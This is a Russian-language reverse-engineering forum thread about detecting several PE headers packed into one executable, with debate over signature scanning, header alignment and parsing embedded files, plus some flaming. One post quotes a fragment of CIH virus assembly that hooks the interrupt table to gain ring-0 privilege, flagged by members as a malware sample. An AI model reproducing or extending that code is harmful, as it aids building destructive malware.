Русский / Russian English / Английский

Сейчас на форуме: Bad_guy, Mishar_Hacker (+3 невидимых)
 · Начало · Статистика · Регистрация · Поиск · ПРАВИЛА ФОРУМА · Язык · RSS ·

 eXeL@B —› Вопросы новичков —› Несколько PE заголовков в одном файле.
<< . 1 . 2 . 3 . >>
Посл.ответ Сообщение

Ранг: 14.7 (новичок)
Статус: Участник

Создано: 12 января 2020 01:00 New!
Цитата · Личное сообщение · #1

Всем привет. Писал тут небольшой сканер файлов. И с удивлением для себя обнаружил, что многие exe как матрешки нашпигованы PE заголовками. То есть несколько файлов объединены последовательно друг за другом.
Ладно таким страдают всякие джойнеры, но нет вполне себе уважаемые программы. Есть идеи с какой практической целью такое делается???

Ранг: -18.1 (нарушитель)
Статус: Участник

Создано: 12 января 2020 22:39 · Поправил: sim_19 New!
Цитата · Личное сообщение · #2

morgot пишет:
difexacaw
Да это психбольной sty/dma, у него каждый акк в минуса уходит. Не обращайте внимания на идиота.


Началось, виртуальная атака клонов.
И знаете почему это несложно вычислить?
Потому, что грубо, топорно и тупо.
Ну или вы, действительно, очень сильно схожи,
в том числе и по "интеллекту".
А "интеллектуалов", говорят, к друг другу притягивает.

P.S. Видно, хорошо я кому-то "на больной мозоль наступил".
difexacaw, когда "овощам" ждать от вас объяснений: что же такое визор в вашем понимании?

Ранг: 14.7 (новичок)
Статус: Участник

Создано: 12 января 2020 22:48 New!
Цитата · Личное сообщение · #3

SDKМоя прога обнаруживает не сигнатуры, А валидный заголовок PE. Там его нет.


Ранг: 54.5 (постоянный)
Статус: Участник

Создано: 12 января 2020 22:57 New!
Цитата · Личное сообщение · #4

zombi-vadim как разберётесь с той картинкой выковыряите демо и музыку сделаю еще парочку таких же,но чуть сложнее. в идеале вам надо взять полный список всех сигнатур из дие пейд ргд ехескоп может еще какие есть и всё это объеденить у нашего товарища Spirit-(а) был такой проект вот его вам надо найти или найти самого ( незнаю куда делись участника cracklab2006-08) переработать и будет нормально так же есть участник hors он тут был недавно у него можно взять много чего по сигнатурам к дие.

Ранг: 46.4 (посетитель)
Статус: Участник

Создано: 12 января 2020 22:57 · Поправил: Adler New!
Цитата · Личное сообщение · #5

zombi-vadim, хм, а что тут не валидного?

P.S. Музыку не искал, т.к. вручную лень, а парсер только PE файлы ищет...
P.S.S. Сама png картинка 14707 весит, а приклеенный zip 761.


Ранг: 54.5 (постоянный)
Статус: Участник

Создано: 12 января 2020 23:01 · Поправил: SDK New!
Цитата · Личное сообщение · #6

zombi-vadim пишет:
не сигнатуры, А валидный заголовок

это такой мастер
да хоть смешение+30067/1 это звук
хоть сигн 4D 5A 90 0x47f3 exe всё находится не ну внатуре

Добавлено спустя 1 минуту
Adler да даже длл нашел всё верно молодец.а музыка она в архиве с 50 4B начинается. плеер жрёт прям в архивах.761 байт)

Ранг: 46.4 (посетитель)
Статус: Участник

Создано: 12 января 2020 23:10 · Поправил: Adler New!
Цитата · Личное сообщение · #7

SDK пишет:
Adler да даже длл нашел молодец

Тю, что там ее искать, несколько десятков строк кода и все само находится.
Картинку таким же путем нашел (по сигнатурам и дальнейшем разборе хидера), а архив вручную (прога недописана, и zip искать не умеет)...


Ранг: 520.7 (!)
Статус: Участник
Победитель турнира 2010

Создано: 12 января 2020 23:13 · Поправил: OKOB New!
Цитата · Личное сообщение · #8

Админы, этому клоуну нужно банов навалить, за заливку на форум малвари (живой семпл CIH v1.4.)

Code:
  1. MyVirusStart:
  2. push ebp
  3.  
  4. ; *************************************
  5. ; * Let's Modify Structured Exception *
  6. ; * Handing, Prevent Exception Error *
  7. ; * Occurrence, Especially in NT. *
  8. ; *************************************
  9.  
  10. lea eax, [esp-04h*2]
  11.  
  12. xor ebx, ebx
  13. xchg eax, fs:[ebx]
  14.  
  15. call @0
  16. @0:
  17. pop ebx
  18.  
  19. lea ecx, StopToRunVirusCode-@0[ebx]
  20. push ecx
  21.  
  22. push eax
  23.  
  24. ; *************************************
  25. ; * Let's Modify *
  26. ; * IDT(Interrupt Descriptor Table) *
  27. ; * to Get Ring0 Privilege... *
  28. ; *************************************
  29.  
  30. push eax ;
  31. sidt [esp-02h] ; Get IDT Base Address
  32. pop ebx ;
  33.  
  34. add ebx, HookExceptionNumber*08h+04h ; ZF = 0
  35.  
  36. cli
  37.  
  38. mov ebp, [ebx] ; Get Exception Base
  39. mov bp, [ebx-04h] ; Entry Point


| Сообщение посчитали полезным: SReg, difexacaw, DICI BF



Ранг: 54.5 (постоянный)
Статус: Участник

Создано: 12 января 2020 23:19 · Поправил: SDK New!
Цитата · Личное сообщение · #9

OKOB пишет:
Админы, этому клоуну нужно банов навалить, за заливку на форум малвари (живой семпл CIH v1.4.)

мёртвый но хорошо что ты глазастый ,думаю тут 90% не знают что это даже . + его хрен запустишь даже под 9х если был жив. да и бан надо дать другому клоуну выше который замусоривает тему про повторяющийся pe в файле.

Добавлено спустя 3 минуты
OKOB кстати посмотри хоть куда я прикрутил код cff должен быть под рукой.

Добавлено спустя 6 минут
Adler пишет:
а архив вручную (прога недописана, и zip искать не умеет)...

вот и подскажи zombi-vadim-у куда ему копать программа уже у тебя есть.

Ранг: 46.4 (посетитель)
Статус: Участник

Создано: 12 января 2020 23:41 · Поправил: Adler New!
Цитата · Личное сообщение · #10

SDK пишет:
вот и подскажи zombi-vadim-у куда ему копать программа уже у тебя есть.

Та что там подсказывать, там все просто до неприличного, если нет никаких ухищрений с подменой/затиранием стандартных сигнатур. Структура PE файлов расписана детально и неоднократно, надо только нужные смещения вычитать, пару проверок сделать и размер файла посчитать.

Ранг: 14.7 (новичок)
Статус: Участник

Создано: 13 января 2020 01:25 · Поправил: zombi-vadim New!
Цитата · Личное сообщение · #11

SDKДа я прошу прощения, я понял почему не находил. Не выровненная сигнатура. Два заголовка.
14775 и 18419 смещение.

Добавлено спустя 6 минут
Нормальный заголовок не может так располагаться.


Ранг: 325.0 (мудрец)
Статус: Участник

Создано: 13 января 2020 02:02 New!
Цитата · Личное сообщение · #12

morgot

А как это сделано технически, если допустим ранг это функция числа сообщений, он растёт вверх. Значит акк как то помечен, раз ранг начал расти вниз. А значит есть функция связанная с акком, которая определяет знак(+/-) для ранга.

Добавлено спустя 5 минут
OKOB

> за заливку на форум малвари (живой семпл CIH v1.4.)

Так а где сам файл, я не вижу его. Откуда вы это взяли ?

Добавлено спустя 1 час 15 минут
SDK

Вас забанили ?
Но этого не видно по акк. Кто выложил сюда CIH ?
За такое действительно нужно забанить и сразу в перм!

Ранг: 46.4 (посетитель)
Статус: Участник

Создано: 13 января 2020 04:08 · Поправил: Adler New!
Цитата · Личное сообщение · #13

zombi-vadim пишет:
Нормальный заголовок не может так располагаться.

Да ну, с чего это? А вот этот байт не смущает (0x3c относительно начала)?

Или этот?


P.S. Для адресации используют hex значения, а не dec.


Ранг: 325.0 (мудрец)
Статус: Участник

Создано: 13 января 2020 05:03 New!
Цитата · Личное сообщение · #14

Adler

Очень давно, наверно есчо на прошлом васм было. Отлаживались за день сотни семплов, в основном инфекторы. А думал что знаю там всё и никак ни инфектор ни эксплойт не может покинуть среду отладки. Из за такой самоуверенности даже перестал использовать вм. При отладке очередного семпла при трассировке вместо F8 нажал F9, произошёл запуск инфектора, весь хард был сразу уничтожен.

Ранг: 14.7 (новичок)
Статус: Участник

Создано: 13 января 2020 08:45 · Поправил: zombi-vadim New!
Цитата · Личное сообщение · #15

Adler пишет:
Да ну, с чего это?
Заголовок PE (IMAGE_NT_HEADERS) всегда выравнен на границу 8 байт.
Нельзя просто запихнуть кусок файла куда попало.

Ранг: 46.4 (посетитель)
Статус: Участник

Создано: 13 января 2020 09:14 · Поправил: Adler New!
Цитата · Личное сообщение · #16

zombi-vadim, ну как видите - можно. Не всегда практика соответствует теории при этом сохраняя работоспособность. Для того там и e_lfnew в Dos Header, что бы не полагаться на теорию...
P.S. Ладно он в dll не выровнен (4 байта), а в exe с ним все в порядке...

Ранг: 243.6 (наставник)
Статус: Участник

Создано: 13 января 2020 09:47 New!
Цитата · Личное сообщение · #17

difexacaw пишет:
А как это сделано технически, если допустим ранг это функция числа сообщений, он растёт вверх. Значит акк как то помечен, раз ранг начал расти вниз. А значит есть функция связанная с акком, которая определяет знак(+/-) для ранга.

Ничего там нигде не помечено.
Тебе уже вроде объясняли как это работает.
Ранг растёт от полезных/нейтральных постов.
Если пост удаляется модератором - ранг уменьшается.
Ты написал пост - получил рейтинг +1, пост выпилили - получил рейтинг -2 (по балансу -1: +1 за написанный -2 за удалённый, и того -1).
Что будет с рейтингом если количество выпиленных постов превышает информативные посчитай сам.

| Сообщение посчитали полезным: difexacaw



Ранг: 544.6 (!)
Статус: Участник
оптимист

Создано: 13 января 2020 11:06 New!
Цитата · Личное сообщение · #18

Я с вас ху*ю, всё уже разжёвано и понятно про PE формат, счас не начало 2000х что бы тупить, размер PE хидера не может превышать 1000 байт, считал смещение на PE сигнатуру и парси файл.......

| Сообщение посчитали полезным: plutos



Ранг: 240.4 (наставник)
Статус: Участник

Создано: 13 января 2020 17:57 New!
Цитата · Личное сообщение · #19

SDK пишет:
Молодой Человек вы думаете я вас обманываю?

Обычно да, но в этот раз выходка была просто глупая.

PE-формат расписан даже на оф сайте --> Link <--, а примеров парса его заголовков как грязи.

| Сообщение посчитали полезным: difexacaw


Ранг: 14.7 (новичок)
Статус: Участник

Создано: 15 января 2020 00:19 · Поправил: zombi-vadim New!
Цитата · Личное сообщение · #20

f13nd пишет:
PE-формат расписан даже на оф сайте --> Link <--, а примеров парса его заголовков как грязи

Меня все это порой очень удивляет. Откуда такая самоуверенность. Давайте решим небольшую задачку. Очень в принципе простую.
В файле два заголовка. Один в начале файла, второй где то в середине. Но у второго нет дос заголовка, нет стаба , он обнулен.
Мы нашли его по сигнатуре PE. Получили до него смещение, пропарсили основной и необязательный заголовки, пропарсили,
таблицу секций. У нас есть все данные. Давайте теперь получим данные из, директорий, и посмотрим, что находится в таблице импорта,
или в секции ресурсов??


Ранг: 544.6 (!)
Статус: Участник
оптимист

Создано: 15 января 2020 00:30 New!
Цитата · Личное сообщение · #21

zombi-vadim пишет:
Меня все это порой очень удивляет. Откуда такая самоуверенность. Давайте решим небольшую задачку. Очень в принципе простую.
В файле два заголовка. Один в начале файла, второй где то в середине. Но у второго физически нет дос заголовка, нет стаба , он обнулен.
Мы нашли его по сигнатуре PE. Получили до него смещение, пропарсили основной и необязательный заголовки, пропарсили,
таблицу секций. У нас есть все данные. Давайте теперь получим данные из, директорий, и посмотрим, что находится в таблице импорта,
или в секции ресурсов??

В РЕ хидере всё указано, даже где находится таблица импорта,экспорта, ресурсов........... люди даже самописные загрузчики dll пишут а вы тут 5й год не можете открыть маны от мелкомягких и изучить РЕ формат

Ранг: 14.7 (новичок)
Статус: Участник

Создано: 15 января 2020 00:35 New!
Цитата · Личное сообщение · #22

ClockManВы не прочитали что я написал к сожалению, внимательно.

Добавлено спустя 1 минуту
Я отлично знаю что и где там находится.


Ранг: 240.4 (наставник)
Статус: Участник

Создано: 15 января 2020 01:08 New!
Цитата · Личное сообщение · #23

zombi-vadim пишет:
Меня все это порой очень удивляет. Откуда такая самоуверенность. Давайте решим небольшую задачку.

Задача слегка наркоманская, ну давайте решим:
IMAGE_FILE_HEADER - размер фиксированный
IMAGE_FILE_HEADER.SizeOfOptionalHeader - размер опционального заголовка
IMAGE_FILE_HEADER.NumberOfSections - число секций известно, IMAGE_SECTION_HEADER - размер фиксированный
IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders - физический размер всех заголовков, включая секции и выравнивание
Остается выравнять полученный общий размер на IMAGE_OPTIONAL_HEADER.FileAlignment, много там будет вариантов, не больших чем IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders? Опять же выравнивание это обычно нули, где они заканчиваются, там скорей всего началась секция. Смещение первой секции известно, у секции есть физическое смещение и RVA, от которых уже DATA_DIRECTORY'сы пляшут.

Ранг: 14.7 (новичок)
Статус: Участник

Создано: 15 января 2020 01:24 · Поправил: zombi-vadim New!
Цитата · Личное сообщение · #24

f13nd пишет:
Смещение первой секции известно
Ну я не уверен что там всегда нули. Там может быть что угодно. Даже таблица данных UPX, к примеру (там даже повторяющееся слово Вася может быть). Вы уверены что поиск по нулям надежен?


Ранг: 240.4 (наставник)
Статус: Участник

Создано: 15 января 2020 01:45 New!
Цитата · Личное сообщение · #25

zombi-vadim пишет:
Вы уверены что поиск по нулям надежен?

Я хочу напомнить, а то мало ли: ты ищешь заведомо нежизнеспособный файл внутри другого файла. Ну спляши от импорта, если нули не нравятся - предполагая возможный оффсет первой секции в указанных пределах, пропарсь таблицу импорта. Если уж страдать фигней, так от души, вариантов куча.

| Сообщение посчитали полезным: DenCoder


Ранг: 14.7 (новичок)
Статус: Участник

Создано: 15 января 2020 08:36 · Поправил: zombi-vadim New!
Цитата · Личное сообщение · #26

f13nd пишет:
Я хочу напомнить, а то мало ли
Так этож просто задачка на сообразительность. Никто и не говорит что ее надо решать без желания
Вы хотя бы попробовали это уже плюс.


Ранг: 322.2 (мудрец)
Статус: Участник

Создано: 15 января 2020 09:44 New!
Цитата · Личное сообщение · #27

zombi-vadim пишет:
Вы хотя бы попробовали это уже плюс.

Плюс в никуда? Зачем нам всем это?

| Сообщение посчитали полезным: plutos


Ранг: 14.7 (новичок)
Статус: Участник

Создано: 15 января 2020 19:52 New!
Цитата · Личное сообщение · #28

DenCoderЛюди разучились, творчески мыслить. Возьмите любой Супер мега валидатор PE. Сотрите буковку M из начала файла и как думаете что он выдаст. И правильно, на сайте мелгомягких сказано что она должна быть.


Ранг: 240.4 (наставник)
Статус: Участник

Создано: 15 января 2020 20:08 · Поправил: f13nd New!
Цитата · Личное сообщение · #29

zombi-vadim пишет:
Сотрите буковку M из начала файла и как думаете что он выдаст

Абсолютно честно валидатор скажет, что файл инвалид. У мелкомягких не только сказано, то и сделано так: кто не носит имя Марка Збиковски, будет наказан.

Ранг: 152.9 (ветеран)
Статус: Участник

Создано: 15 января 2020 20:35 New!
Цитата · Личное сообщение · #30

zombi-vadim пишет:
любой Супер мега валидатор PE

Ну так-то он будет прав, ибо любой супер мега загрузчег такой файл не загрузит, виндовый лодырь парень не сильно креативный

zombi-vadim пишет:
Сотрите буковку M из начала

Имеет смысл рассматривать два основных варианта,- файл зашит as is, либо "шаманства", а буковку там затерли, пожали LZMA, или прошлись RSA шифрованием это уже лирика.
Так вот даже в первом случае не такая уж тривиальная задача точно выдернуть файл без динамического анализа, вдруг я синей изолентой к нему оверлеев намотал, как ты будешь аналитику данных за последней секцией бинаря в статике делать, если там подряд еще "рандомные" данные будут?

Ранг: 14.7 (новичок)
Статус: Участник

Создано: 15 января 2020 21:03 · Поправил: zombi-vadim New!
Цитата · Личное сообщение · #31

f13nd пишет:
файл инвалид
Да но этож валидатор, файл можно легко сделать рабочим. Я в этом плане.
<< . 1 . 2 . 3 . >>
 eXeL@B —› Вопросы новичков —› Несколько PE заголовков в одном файле.

Видеокурс ВЗЛОМ